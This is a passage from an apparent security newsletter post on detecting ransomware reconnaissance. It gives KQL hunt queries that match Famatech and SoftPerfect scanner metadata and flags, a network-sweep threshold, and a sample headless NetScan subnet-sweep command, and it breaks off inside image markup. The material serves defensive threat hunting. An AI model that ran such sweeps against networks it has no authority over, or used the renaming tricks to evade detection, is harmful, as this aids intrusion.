type="image/jpeg"/><content:encoded><![CDATA[<p>In just the first five months of 2026, 4,113 organizations were hit by ransomware. The attackers were not caught at encryption because nothing fired earlier. The discovery phase is where the attack was cheap to stop.</p><p>Ransomware is a discovery problem before it&#8217;s an encryption problem. Every group has to map your network before they exfiltrate or encrypt. That mapping step is where the attack is cheap to stop, and 45+ groups do it with the same three tools.</p><p>You&#8217;ll get two things in this piece:</p><ol><li><p>Six queries (KQL for MDE, ESQL for Elastic, across Process, Network, and File events) that hunt SoftPerfect NetScan, Advanced IP Scanner (AIPS), and Advanced Port Scanner (APS). Not Sigma ports. Consolidated multi-signal queries that survive rename, filename strip, and hash change in a single pass.</p></li><li><p>A second signal hiding inside the detection that most defenders miss. A hit on two of these three tools doesn&#8217;t just mean &#8220;scanner ran.&#8221; It proves an interactive attacker session. The query at the end of Section 4 turns that proof into a pivot.</p></li></ol><p>Tested in lab against Sliver C2. Run it in the next hour. Triage today.</p><h1>1. Why discovery tools are the cheapest win</h1><p>After initial access, the attacker has to map your network before exfiltration and encryption. That mapping step uses the same handful of tools across 45+ groups. It is the chokepoint.</p><p><a href="https://github.com/BushidoUK/Ransomware-Tool-Matrix/">GitHub - BushidoUK/Ransomware-Tool-Matrix</a> by <a href="https://twitter.com/BushidoToken">@BushidoToken</a> catalogs which tools each ransomware group uses. Three names dominate the discovery row.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9bM1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9bM1!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 424w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 848w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9bM1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg" width="1200" height="516" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:516,&quot;width&quot;:1200,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;Image&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Image" title="Image" srcset="https://substackcdn.com/image/fetch/$s_!9bM1!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 424w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 848w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!9bM1!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F79af19f6-683b-4a9c-bc40-719dfc81def3_1200x516.jpeg 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><blockquote><p>47 unique threat groups across three tools</p></blockquote><p>Why these three? Signed by recognized vendors. Portable, no installer needed. GUI-driven and visually indistinguishable from sysadmin work at a glance. Speed and familiarity beat custom tradecraft.</p><p>Most existing detection rules match on filename. Rename <code>advanced_ip_scanner.exe</code> to <code>chrome_update.exe</code> and the rule breaks. That is the gap this query closes.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><h1>2. Shared telemetry signal across all three tools</h1><p>Rename the binary. Strip the filename. Hash the file differently. Three checks defeated. The vendor metadata baked into the executable at compile time? Still there.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!e8EV!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!e8EV!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 424w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 848w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 1272w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!e8EV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png" width="401" height="364" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:364,&quot;width&quot;:401,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:15601,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!e8EV!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 424w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 848w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 1272w, https://substackcdn.com/image/fetch/$s_!e8EV!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3283900a-c0d3-45aa-98ed-9078bb1197f3_401x364.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>PE (Portable Executable) is the file format every Windows binary uses. The vendor stamps their company name, product name, and description into a header section at compile time. Renaming the file does not touch the version info.</p><p>Three signals layer on top of each other.</p><p><strong>Signal 1: Vendor metadata (survives renames)</strong></p><ul><li><p>Famatech signs both Advanced IP Scanner and Advanced Port Scanner.</p></li><li><p>SoftPerfect signs NetScan.</p></li><li><p>One <code>ProcessVersionInfoCompanyName</code> check catches all three regardless of filename.</p></li></ul><p>Lab evidence: rename <code>advanced_ip_scanner.exe</code> to <code>HealthCheck.exe</code>. Open file properties. CompanyName still reads <code>Famatech</code>. ProductName still reads <code>Advanced IP Scanner</code>. The rename is a one-second defeat against any filename rule. The metadata check holds.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zmzh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zmzh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 424w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 848w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 1272w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!zmzh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png" width="1456" height="526" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:526,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:134085,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zmzh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 424w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 848w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 1272w, https://substackcdn.com/image/fetch/$s_!zmzh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p><strong>Signal 2: Command-line flag pairs (survives metadata strip)</strong></p><ul><li><p><code>/portable + /lng</code> for AIPS and APS. Portable mode skips the installer and runs from any path. The <code>/lng</code> (language) flag almost always travels with it.</p></li><li><p><code>/hide + /auto</code> for NetScan. Headless execution that writes scan output to disk, no GUI required.</p></li></ul><p>Example NetScan headless invocation seen in the wild:</p><pre><code>n.exe /hide /auto:C:\Users\Public\scan_results.xml /range:192.168.72.1-192.168.72.254
</code></pre><ul><li><p><code>/hide</code> runs NetScan with no GUI.</p></li><li><p><code>/auto:&lt;file&gt;</code> auto-runs the scan and writes XML output to that path.</p></li><li><p><code>/range:</code> defines the subnet sweep range</p></li></ul><p><strong>Signal 3: Network sweep scan (survives everything)</strong></p><p>One host hitting 50+ private IPs across 3+ ports inside 5 minutes is not normal user behavior. This signal catches the activity even if the binary is fully renamed and the metadata is stripped. Tool-agnostic.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Fexm!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Fexm!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 424w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 848w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 1272w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Fexm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png" width="1456" height="188" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:188,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:33976,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Fexm!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 424w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 848w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 1272w, https://substackcdn.com/image/fetch/$s_!Fexm!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc45b407a-1d2b-4414-93ee-12ec1e35b44f_1547x200.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p></p><h1>3. The combined hunt query</h1><p>These are not one-to-one Sigma ports. Three tools. One query for each event type.</p><ul><li><p>Vendor metadata catches the renames.</p></li><li><p>Command-line flags catch the headless runs.</p></li><li><p>Network thresholds catch the sweep shape.</p></li><li><p>Folder paths catch the install artifacts.</p></li></ul><p><strong>Two SIEMs, copy-paste ready.</strong></p><h2>KQL (Microsoft Defender for Endpoint)</h2><h3>Process events</h3><blockquote><p><strong>Catches:</strong> any of the three tools by vendor, product, description, or flag pair. </p><p><strong>Tune:</strong> time window (default 30d). Otherwise leave alone.</p></blockquote><pre><code>let CompanyKeywords = dynamic(["Famatech", "SoftPerfect"]);
let ProductKeywords = dynamic(["Advanced IP Scanner", "Advanced Port Scanner", "Network Scanner"]);
let DescKeywords    = dynamic(["Advanced IP Scanner", "Advanced Port Scanner", "Application for scanning networks"]);
DeviceProcessEvents
| where Timestamp &gt; ago(30d)
| where ProcessVersionInfoCompanyName has_any (CompanyKeywords)
    or ProcessVersionInfoProductName has_any (ProductKeywords)
    or ProcessVersionInfoFileDescription has_any (DescKeywords)
    or ProcessCommandLine has_all ("/portable", "/lng")
    or ProcessCommandLine has_all ("/hide", "/auto")
| project
    Timestamp, DeviceName, AccountName, FileName,
    ProcessCommandLine, ProcessVersionInfoCompanyName,
    ProcessVersionInfoProductName, ProcessVersionInfoFileDescription,
    SHA256, InitiatingProcessFileName,
    InitiatingProcessCommandLine, InitiatingProcessParentFileName</code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Z37f!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Z37f!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 424w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 848w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 1272w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Z37f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png" width="1444" height="705" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/b9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:705,&quot;width&quot;:1444,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:147650,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/200769925?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Z37f!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 424w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 848w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 1272w, https://substackcdn.com/image/fetch/$s_!Z37f!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb9d6a783-8340-4b67-bd99-53e332b5eee7_1444x705.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 